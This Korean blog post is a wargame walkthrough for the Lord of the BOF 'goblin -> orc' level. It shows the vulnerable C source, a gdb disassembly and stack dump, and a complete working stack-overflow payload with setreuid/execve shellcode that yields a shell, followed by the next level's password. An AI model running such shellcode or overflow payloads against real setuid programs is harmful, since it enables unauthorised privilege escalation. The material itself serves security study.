[lob] 해커스쿨 goblin -> orc 풀이

해커스쿨 goblin 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

 

 

 

 

goblin 문제의 아이디인  goblin 와 password인   hackers proof 을 입력하여 goblin의 유저로 접속합니다.

 

 

 

[goblin@localhost goblin]$ ls -l
total 20
-rwsr-sr-x    1 orc      orc         12567 Feb 26  2010 orc
-rw-r--r--    1 root     root          505 Mar 29  2010 orc.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/goblin ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 orc.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[goblin@localhost goblin]$ cat orc.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/



#include <stdio.h>
#include  <stdlib.h>

extern char **environ; # 외부에 선언된 변수인데 extern을 사용하면 우리 코드에서 사용 가능 

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}

 

 

 

cat 명령어를 사용하여 orc.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

주석에 BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.

 

힌트 코드를 보니

1. argv는 2 이상이어야 합니다.

2. egghunter 라고 쓰여있는 코드에 의해 환경 변수를 사용할 수가 없습니다.

3. argv[1]의 48번째 단어가 \xbf가 아니면 exit(0)를 실행하기 때문에 \xbf를 argv[1]의 48번째 위치에 넣어주어야 합니다. 

 

 

 

[goblin@localhost goblin]$ cp orc goblin
[goblin@localhost goblin]$ ls -l
total 36
-rwsr-sr-x    1 goblin   goblin      12567 Jan 10 11:53 goblin
-rwsr-sr-x    1 orc      orc         12567 Feb 26  2010 orc
-rw-r--r--    1 root     root          505 Mar 29  2010 orc.c

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 orc 파일을 복사해 goblin이라는 이름의 파일을 하나 생성하였습니다.

 

 

 

[goblin@localhost goblin]$ gdb goblin
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>
:       push   %ebp 
0x8048501 <main+1>:     mov    %esp,%ebp
0x8048503 <main+3>:     sub    $0x2c,%esp
0x8048506 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804850a <main+10>:    jg     0x8048523 <main+35>
0x804850c <main+12>:    push   $0x8048630
0x8048511 <main+17>:    call   0x8048410 <printf> 
0x8048516 <main+22>:    add    $0x4,%esp
0x8048519 <main+25>:    push   $0x0
0x804851b <main+27>:    call   0x8048420 <exit> 
0x8048520 <main+32>:    add    $0x4,%esp
0x8048523 <main+35>:    nop
0x8048524 <main+36>:    movl   $0x0,0xffffffd4(%ebp)
0x804852b <main+43>:    nop
0x804852c <main+44>:    lea    0x0(%esi,1),%esi
0x8048530 <main+48>:    mov    0xffffffd4(%ebp),%eax
0x8048533 <main+51>:    lea    0x0(,%eax,4),%edx
0x804853a <main+58>:    mov    0x8049750,%eax
0x804853f <main+63>:    cmpl   $0x0,(%eax,%edx,1)
0x8048543 <main+67>:    jne    0x8048547 <main+71>
0x8048545 <main+69>:    jmp    0x8048587 <main+135>
0x8048547 <main+71>:    mov    0xffffffd4(%ebp),%eax
0x804854a <main+74>:    lea    0x0(,%eax,4),%edx
0x8048551 <main+81>:    mov    0x8049750,%eax
0x8048556 <main+86>:    mov    (%eax,%edx,1),%edx
0x8048559 <main+89>:    push   %edx
0x804855a <main+90>:    call   0x80483f0 <strlen> 
0x804855f <main+95>:    add    $0x4,%esp
0x8048562 <main+98>:    mov    %eax,%eax
0x8048564 <main+100>:   push   %eax
0x8048565 <main+101>:   push   $0x0
0x8048567 <main+103>:   mov    0xffffffd4(%ebp),%eax
0x804856a <main+106>:   lea    0x0(,%eax,4),%edx
0x8048571 <main+113>:   mov    0x8049750,%eax
0x8048576 <main+118>:   mov    (%eax,%edx,1),%edx
0x8048579 <main+121>:   push   %edx
0x804857a <main+122>:   call   0x8048430 <memset> 
0x804857f <main+127>:   add    $0xc,%esp
0x8048582 <main+130>:   incl   0xffffffd4(%ebp)
0x8048585 <main+133>:   jmp    0x8048530 <main+48>
0x8048587 <main+135>:   mov    0xc(%ebp),%eax
0x804858a <main+138>:   add    $0x4,%eax
---Type  to continue, or q  to quit---
0x804858d <main+141>:   mov    (%eax),%edx
0x804858f <main+143>:   add    $0x2f,%edx
0x8048592 <main+146>:   cmpb   $0xbf,(%edx)
0x8048595 <main+149>:   je     0x80485b0 <main+176>
0x8048597 <main+151>:   push   $0x804863c
0x804859c <main+156>:   call   0x8048410 <printf> 
0x80485a1 <main+161>:   add    $0x4,%esp
0x80485a4 <main+164>:   push   $0x0
0x80485a6 <main+166>:   call   0x8048420  <exit>
0x80485ab <main+171>:   add    $0x4,%esp
0x80485ae <main+174>:   mov    %esi,%esi
0x80485b0 <main+176>:   mov    0xc(%ebp),%eax
0x80485b3 <main+179>:   add    $0x4,%eax
0x80485b6 <main+182>:   mov    (%eax),%edx
0x80485b8 <main+184>:   push   %edx
0x80485b9 <main+185>:   lea    0xffffffd8(%ebp),%eax
0x80485bc <main+188>:   push   %eax
0x80485bd <main+189>:   call   0x8048440 <strcpy> 
0x80485c2 <main+194>:   add    $0x8,%esp
0x80485c5 <main+197>:   lea    0xffffffd8(%ebp),%eax
0x80485c8 <main+200>:   push   %eax
0x80485c9 <main+201>:   push   $0x8048659
0x80485ce <main+206>:   call   0x8048410 <printf> 
0x80485d3 <main+211>:   add    $0x8,%esp
0x80485d6 <main+214>:   leave
0x80485d7 <main+215>:   ret
0x80485d8 <main+216>:   nop
0x80485d9 <main+217>:   nop
0x80485da <main+218>:   nop
0x80485db <main+219>:   nop
0x80485dc <main+220>:   nop
0x80485dd <main+221>:   nop
0x80485de <main+222>:   nop
0x80485df <main+223>:   nop
End of assembler dump.

 

 

 

goblin 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

 

1. 0x8048503 <main+3>:     sub    $0x2c,%esp 

0x2c을 십진수로 변환하면 44입니다. 위의 코드는 스택에 44byte의 영역을 할당하는 것을 의미합니다.

 

 

2. 0x80485bd <main+189>:   call   0x8048440 <strcpy> 

goblin.c 코드상에서 strcpy 부분을 보면 buffer에 argv[1]의 문자열을 대입하고 있습니다. 스택에 인자가 push 되는 순서는 argv[1]가 먼저 push 되고, 그다음 buffer가 push 됩니다. 따라서 <main + 185>의 ebp - [ffffffd8의 2의 보수 취한 값]이 buffer의 시작 위치가 됩니다. 

 

11011000 => 00100111 => 00101000 => 8 + 32 = 40

buffer의 시작 지점이 ebp - 40부터인 것을 알 수 있습니다.  

 

그렇게 되면 i의 경우 힌트 코드 상에서 buffer[40]보다 뒤에 선언되었고, 스택 영역에는 44byte가 할당되었기 때문에 ebp - 44부터 시작할 것입니다.

 

 

 

메모리 구조를 보면 아래와 같습니다.(argv[2]와 argv[1]에 대한 설명은 아래에 있습니다)

 

 

 

실행과 동시에 2개 이상의 인자가 전달 가능하므로 이번 문제를 풀 때에는 argv[2]의 영역을 이용해보도록 하겠습니다.

 

 

 

(gdb) b *main+194
Breakpoint 1 at 0x80485c2
(gdb) r `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/goblin/goblin `python -c 'print "A"*47+"\xbf"'` `python -c 'print "B"*100'`

(gdb) x/100x $esp
0xbffffa84:     0xbffffa90      0xbffffc17      0x00000013      0x41414141
0xbffffa94:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffaa4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffab4:     0x41414141      0x41414141      0xbf414141      0x00000000
0xbffffac4:     0xbffffb04      0xbffffb14      0x40013868      0x00000003
0xbffffad4:     0x08048450      0x00000000      0x08048471      0x08048500
0xbffffae4:     0x00000003      0xbffffb04      0x08048390      0x0804860c
0xbffffaf4:     0x4000ae60      0xbffffafc      0x40013e90      0x00000003
0xbffffb04:     0xbffffc03      0xbffffc17      0xbffffc48      0x00000000
0xbffffb14:     0xbffffcad      0xbffffccf      0xbffffcd9      0xbffffce7
0xbffffb24:     0xbffffd06      0xbffffd15      0xbffffd2d      0xbffffd49
0xbffffb34:     0xbffffd54      0xbffffd62      0xbffffda4      0xbffffdb6
0xbffffb44:     0xbffffdcb      0xbffffddb      0xbffffde7      0xbffffe05
0xbffffb54:     0xbffffe10      0xbffffe1d      0xbffffe25      0x00000000
0xbffffb64:     0x00000003      0x08048034      0x00000004      0x00000020
0xbffffb74:     0x00000005      0x00000006      0x00000006      0x00001000
0xbffffb84:     0x00000007      0x40000000      0x00000008      0x00000000
0xbffffb94:     0x00000009      0x08048450      0x0000000b      0x000001f7
0xbffffba4:     0x0000000c      0x000001f7      0x0000000d      0x000001f7
0xbffffbb4:     0x0000000e      0x000001f7      0x00000010      0x0f8bfbff
0xbffffbc4:     0x0000000f      0xbffffbfe      0x00000000      0x00000000
0xbffffbd4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbe4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffbf4:     0x00000000      0x00000000      0x36690000      0x2f003638
0xbffffc04:     0x656d6f68      0x626f672f      0x2f6e696c      0x6c626f67
(gdb)
0xbffffc14:     0x41006e69      0x41414141      0x41414141      0x41414141
0xbffffc24:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc34:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc44:     0x00bf4141      0x42424242      0x42424242      0x42424242
0xbffffc54:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc64:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc74:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc84:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffc94:     0x42424242      0x42424242      0x42424242      0x42424242
0xbffffca4:     0x42424242      0x42424242      0x00000000      0x00000000
0xbffffcb4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcc4:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffcd4:     0x00000000      0x00000000      0x00000000     

 

 

 

인자로  `python -c 'print "A"*47+"\xbf"'`  ,  `python -c 'print "B"*100'`  이렇게 두 개를 넘겨주었습니다. argv[1][47]을 '\xbf'로 채워주어 프로그램이 중간에서 끝나지 않도록 해 주고 argv[2]에는 B를 100개를 채워주었습니다.

 

gdb로 확인해본 결과 빨간색 배경색 부분이 argv[2]의 시작 지점입니다. 즉 argv[2]의 주소는  0xbffffc48 부터 시작됩니다.

 

그럼 이번 레벨 문제를 풀기 위해서 argv[2]에 셸 코드를 넣어주고, return을 argv[2] 주소로 채워주면 될 것입니다. buffer는 ebp - 40부터 시작되고, 앞에서 사용했던 setuid가 포함된 41바이트의 셸 코드를 사용하겠습니다.

 

페이로드를 구성해보면 다음과 같습니다. \x90으로 sfp까지 44byte를 채워주고 return 부분에는 0xbffffc48을 argv[2]에는 셸 코드를 넣어줄 것입니다.

 

 

 

페이로드

./orc `python -c 'print "\x90"*44+"\x48\xfc\xff\xbf"'` `python -

c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\

xc2\xb0\x0b\xcd\x80"'`

 

 

 

[goblin@localhost goblin]$ bash2
[goblin@localhost goblin]$ ./orc `python -c 'print "\x90"*44+"\x48\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73
\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Hüÿ¿
bash$ my-pass
euid = 504
cantata

 

 

 

LOB 문제를 풀 때에는 bash2를 필수적으로 입력해주셔야 합니다.

 

bash2를 입력 후 위의 페이로드를 넣어보니 셸을 취득할 수 있습니다. 셸 취득 후 my-pass를 입력하게 되면 orc user의 password를 알 수 있습니다.

 

 

 

 

orc 비밀번호

더보기

euid = 504 
cantata 

 

이 글을 공유하기

댓글

Designed by JB FACTORY